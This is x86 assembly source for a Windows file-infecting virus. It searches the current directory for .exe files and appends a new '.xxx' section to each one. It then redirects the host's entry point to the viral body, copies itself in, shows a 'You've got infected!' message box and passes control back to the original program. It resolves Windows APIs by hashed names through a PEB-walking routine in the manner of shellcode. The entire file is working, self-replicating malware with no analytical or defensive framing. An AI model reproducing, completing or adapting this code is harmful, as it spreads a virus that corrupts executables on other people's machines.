InFectCode.asm

.386
.model flat, stdcall

option casemap:none
assume fs:nothing
.code
start:
v_start:
    call delta
delta:
    pop ebp
    sub ebp, offset delta
    lea esi, [ebp + WIN32_FIND_DATA]
    push esi
    lea esi, [ebp + exe]
    push esi
    push 095DA3590h
    call getapi
    call eax
    mov [ebp + hFind], eax
    test eax,eax
    jne _findName
    push [ebp + hFind]
    push 05E70317Ch
    call getapi
    call eax
    ;jmp _exit
_findName:
   lea esi, [ebp + WIN32_FIND_DATA.cFileName]

_returnHost:
  lea eax, [ebp +_returnHost]
  mov [ebp + returnHost], eax
  call infect
  lea esi, [ebp + WIN32_FIND_DATA]
  push esi
  push [ebp + hFind]
  push 0F76C45E7h
  call getapi
  call eax
  cmp eax, 0
  jne _findName
  ;ret
_exit:
  ; ExitProcess
    lea eax, [ebp + v_start]
    cmp eax, 401000h
    je  _jmpOEP
    ; end writefile
    mov eax, [ebp + OEPFileInFect]
    push eax
    ret
_jmpOEP:
    call jmpOEPHostFile
    ;mov eax,0
    ;push eax
    ;push 56A2B5F0h
    ;call getapi
    ;call eax
infect proc
    push 00h
    push 80h
    push 3
    push 0
    push 3
    push 0C0000000h
    ;lea esi, [ebp + filename]
    push esi
    push 04FDAF6DAh
    call getapi
    call eax
    ;--- GetFileSize
    mov [ebp+ hFile], eax
    cmp eax, 0FFFFFFFFh
    je _exitFunc
    push 0
    push [ebp+hFile]
    push 0701E12C6h
    call getapi
    call eax
    ;--- GetProcessHeap
    mov [ebp + FileSize], eax
    push 0F8245751h
    call getapi
    call eax
    ;--- HeapAlloc
    push [ebp + FileSize]
    push 9
    push eax
    push 067CC0818h
    call getapi
    call eax
    mov [ebp+ BaseAddress],eax
    ;--- ReadFile
    push 0
    lea esi, [ebp+BR]
    push esi
    push [ebp + FileSize]
    push [ebp + BaseAddress]
    push [ebp + hFile]
    push 0BB5F9EADh
    call getapi
    call eax
    ;--- RtlMoveMemory
    push 40h
    push [ebp + BaseAddress]
    lea esi, [ebp + dosHeader]
    push esi
    push 081788FF6h
    call getapi
    call eax

    ;--- get NTHeader
    mov eax, [ebp+ BaseAddress]
    add eax, [ebp + dosHeader + 3Ch]
    push 0F8h
    push eax
    lea esi, [ebp+ NTHeader]
    push esi
    push 081788FF6h
    call getapi
    call eax

    ;--- get infomation
    xor ebx, ebx
    movzx ebx, word ptr [ebp + NTHeader +6]
    mov [ebp + numberOfSections], bx

    mov ebx, [ebp + NTHeader +40]
    mov [ebp+ OEP], ebx

    mov ebx, [ebp + NTHeader + 52]
    mov [ebp+ imageBase], ebx

    mov ebx, [ebp + NTHeader + 56]
    mov [ebp + sectionAlignment], ebx

    mov ebx, [ebp + NTHeader + 60]
    mov [ebp + fileAlignment], ebx

    ; --- get last Section
    ;--- sai bắt đầu chỗ này
    mov esi, [ebp + BaseAddress]
    mov eax, [esi + 03ch]
    add esi, eax

    mov ax, word ptr [esi + 014h]
    add esi, eax

    add esi, 18h
    mov eax, 28h
    movzx ebx, [ebp + numberOfSections]
    mul ebx
    add esi, eax
    sub esi, 28h
    mov eax, [esi]
    ; if sectionName = ".xxx" => injected
    cmp eax, 07878782eh
    je _exitFunc
    mov eax, [esi + 8]
    mov [ebp + virtualSize], eax

    mov eax, [esi + 0ch]
    mov [ebp + virtualAddress], eax

    mov eax, [esi + 10h]
    mov [ebp + sizeOfRawData], eax

    mov eax, [esi + 14h]
    mov [ebp + pointerToRawData], eax

    add esi,28h
    ;--- RtlZeroMemory new SectionName
    push 28h
    push esi
    push 0BD784139h
    call getapi
    call eax
    ;---- RtlMoveMemory new SectionName
    push 08h
    lea ebx, [ebp +sectionName]
    push ebx
    push esi
    push 081788FF6h
    call getapi
    call eax
    ;--- Alignmentment
    mov edi, 800h
    mov ecx, [ebp + sectionAlignment]
    mov edx, 0h
    call Alignment
    ; virtualSize
    mov dword ptr [esi + 8], eax


    mov edi, [ebp + virtualSize]
    mov ecx, [ebp + sectionAlignment]
    mov edx, [ebp + virtualAddress]
    call Alignment
    ; virtualAddress
    mov dword ptr [esi + 0Ch], eax


    mov edi, 800h
    mov ecx, [ebp + fileAlignment]
    mov edx, 0
    call Alignment
    ; SizeOfRawData
    mov dword ptr [esi + 10h], eax

    mov edi, [ebp + sizeOfRawData]
    mov ecx, [ebp + fileAlignment]
    mov edx, [ebp + pointerToRawData]
    call Alignment
    ;PointerToRawData
    mov dword ptr [esi + 14h], eax
    ;Characteristics
    mov dword ptr [esi + 24h], 0E00000E0h

    mov ebx, [esi + 8]
    mov [ebp + virtualSize], ebx

    mov ebx, [esi + 0Ch]
    mov [ebp + virtualAddress], ebx

    mov ebx, [esi + 10h]
    add ebx, [esi + 14h]

    ;--- SetFilePointer
    push 2
    push 0
    push ebx
    push [ebp + hFile]
    push 0D812CDAAh
    call getapi
    call eax

    ;--- SetEndOfFile
    push [ebp + hFile]
    push 0D7E3CBDBh
    call getapi
    call eax
    ;--- inc numberOfSections
    mov eax, [ebp + BaseAddress]
    mov ebx, [eax + 03ch]
    add eax, ebx
    mov bx, word ptr [eax + 06h]
    inc ebx
    mov [eax + 06h], bx
    ;---set DllCharacteristics = 0
    xor ecx, ecx
    mov [eax + 05eh],cx
    ;--- Set SizeOfImage
    mov ecx, [ebp + virtualAddress]
    add ecx, [ebp + virtualSize]

    mov [eax + 050h], ecx
    ;-- Set addressOfEntryPoint
    mov ecx, [ebp + virtualAddress]
    mov [eax + 28h], ecx
    mov [ebp + addressOfEntryPoint],ecx
    ;--- SetFilePointer And WriteFile
    push 0
    push 0
    push 0
    push [ebp + hFile]
    push 0D812CDAAh
    call getapi
    call eax
    ;---------- WriteFile

    ; MsgBox
    push 6c6ch
    push 642e3233h
    push 72657375h
    push esp
    push 0726774Ch
    call getapi
    call eax
    push 41786fh
    push 42656761h
    push 7373654Dh
    push esp
    push eax
    push 07802F749h
    call getapi
    call eax
    xor edi, edi
    push edi
    push 021646574h
    push 06365666eh
    push 06920746fh
    push 067206576h
    push 027756f59h
    mov ecx,esp
    push edi
    push edi
    push ecx
    push edi
    xor ebx,ebx
    call eax
    ; end MsgBox
    lea eax, [ebp + v_start]
    cmp eax, 401000h
    jne _next
    mov eax, [ebp + imageBase]
    add eax, [ebp + OEP]
    mov [ebp + OEP], eax
    mov [ebp + OEPFileInFect], eax

_next:
    push 0
    lea esi, [ebp + BR]
    push esi
    push [ebp + FileSize]
    push [ebp + BaseAddress]
    push [ebp + hFile]
    push 05BAE572Dh
    call getapi
    call eax
    ; end writefile

    ; file infect
    lea eax, [ebp + v_start]
    lea ecx, [ebp + v_ends]
    sub ecx, eax
    mov [ebp + vrsize], ecx

    lea esi, [ebp + v_start]
    push 0
    lea ebx, [ebp + dwByte]
    push ebx
    push ecx
    push esi
    push [ebp + hFile]
    push 05BAE572Dh
    call getapi
    call eax
    ;lea eax, [ebp + v_start]
    ;cmp eax, 401000h
    ;je _exitFunc
    ; end writefile
    ;mov eax, [ebp + OEPFileInFect]
    ;push eax
    ;ret

_exitFunc:
    push [ebp + hFile]
    push 0528796C6h
    call getapi
    call eax
    mov eax, [ebp + returnHost]
    add eax, 11h
    push eax
    ret
    ;xor eax,eax
    ;push eax
    ;push 56A2B5F0h ; hash func ExitProcess
    ;call getapi    ; return address func to eax
    ;call eax
infect endp

jmpOEPHostFile proc
    ;push [ebp + hFile]
    ;push 0528796C6h
    ;call getapi
    ;call eax
    ;mov eax, [ebp + returnHost]
    ;add eax, 11h
   ; push eax
    ;ret
    xor eax,eax
    push eax
    push 56A2B5F0h ; hash func ExitProcess
    call getapi    ; return address func to eax
    call eax
jmpOEPHostFile endp
; getapi func return func address to eax
getapi proc
api_call:
  pushad
  mov ebp, esp
  xor eax, eax
  mov edx, fs:[eax+48]
  mov edx, [edx+12]
  mov edx, [edx+20]
next_mod:
  mov esi, [edx+40]
  movzx ecx, word ptr [edx+38]
  xor edi, edi
loop_modname:
  lodsb
  cmp al, 'a'
  jl not_lowercase
  sub al, 20h
not_lowercase:
  ror edi, 13
  add edi, eax
  loop loop_modname
  push edx
  push edi
  mov edx, [edx+16]
  mov ecx, [edx+60]
  mov ecx, [ecx+edx+120]
  jecxz get_next_mod1
  add ecx, edx
  push ecx
  mov ebx, [ecx+32]
  add ebx, edx
  mov ecx, [ecx+24]
get_next_func:
  jecxz get_next_mod
  dec ecx
  mov esi, [ebx+ecx*4]
  add esi, edx
  xor edi, edi
loop_funcname:
  lodsb
  ror edi, 13
  add edi, eax
  cmp al, ah
  jne loop_funcname
  add edi, [ebp-8]
  cmp edi, [ebp+36]
  jnz get_next_func
  pop eax
  mov ebx, [eax+36]
  add ebx, edx
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]
  add ebx, edx
  mov eax, [ebx+4*ecx]
  add eax, edx
  jmp finish
get_next_mod:
  pop edi
get_next_mod1:
  pop edi
  pop edx
  mov edx, [edx]
  jmp short next_mod
finish:
  mov [esp+36], eax
  pop ebx
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  ret
getapi endp
Alignment proc
  mov [ebp + sizeofSection], edi
  mov [ebp + tmp], ecx
  mov [ebp + address], edx
  mov eax, [ebp +sizeofSection]
  cdq
  idiv ecx
  mov eax, edx
  test eax, eax
  jne _L2
  mov edx, [ebp + address]
  mov eax, [ebp +sizeofSection]
  add eax, edx
  jmp _L3
_L2:
  mov eax, [ebp +sizeofSection]
  cdq
  idiv [ebp + tmp]
  add eax, 1
  imul eax, [ebp + tmp]
  mov edx, eax
  mov eax, [ebp + address]
  add eax, edx
_L3:
  ret

Alignment endp
apitabe:
    returnHost              DWORD ?
    sectionName             db ".xxx",0
    OEPFileInFect           DWORD ?
    exe                     db "*.exe",0
    hFile                   dd ?
    hFind                   DWORD ?
    BaseAddress             dd ?
    BR                      DWORD ?
    dwByte                  dd ?
    addressOfEntryPoint     DWORD ?
    imageBase               DWORD ?
    numberOfSections        dw ?
    FileSize                DWORD ?
    sectionAlignment        DWORD ?
    fileAlignment           DWORD ?
    virtualAddress          DWORD ?
    virtualSize             DWORD ?
    OEP                     DWORD ?
    dosHeader               DWORD ?
    NTHeader                DWORD ?
    tmp                     DWORD ?
    sizeofSection           DWORD ?
    address                 DWORD ?
    sizeOfRawData           DWORD ?
    pointerToRawData        DWORD ?
    vrsize                  dd 0
FILETIME STRUCT
  dwLowDateTime     DWORD     ?
  dwHighDateTime    DWORD     ?
FILETIME ENDS

WIN32_FIND_DATAA STRUCT
   dwFileAttributes       DWORD ?
   ftCreationTime         FILETIME <>
   ftLastAccessTime       FILETIME <>
   ftLastWriteTime        FILETIME <>
   nFileSizeHigh          DWORD ?
   nFileSizeLow           DWORD ?
   dwReserved0            DWORD ?
   dwReserved1            DWORD ?
   cFileName              BYTE 512 dup (?)
   cAlternateFileName     BYTE 14 dup (?)
WIN32_FIND_DATAA ENDS

WIN32_FIND_DATA                       WIN32_FIND_DATAA <?>
v_ends:
end start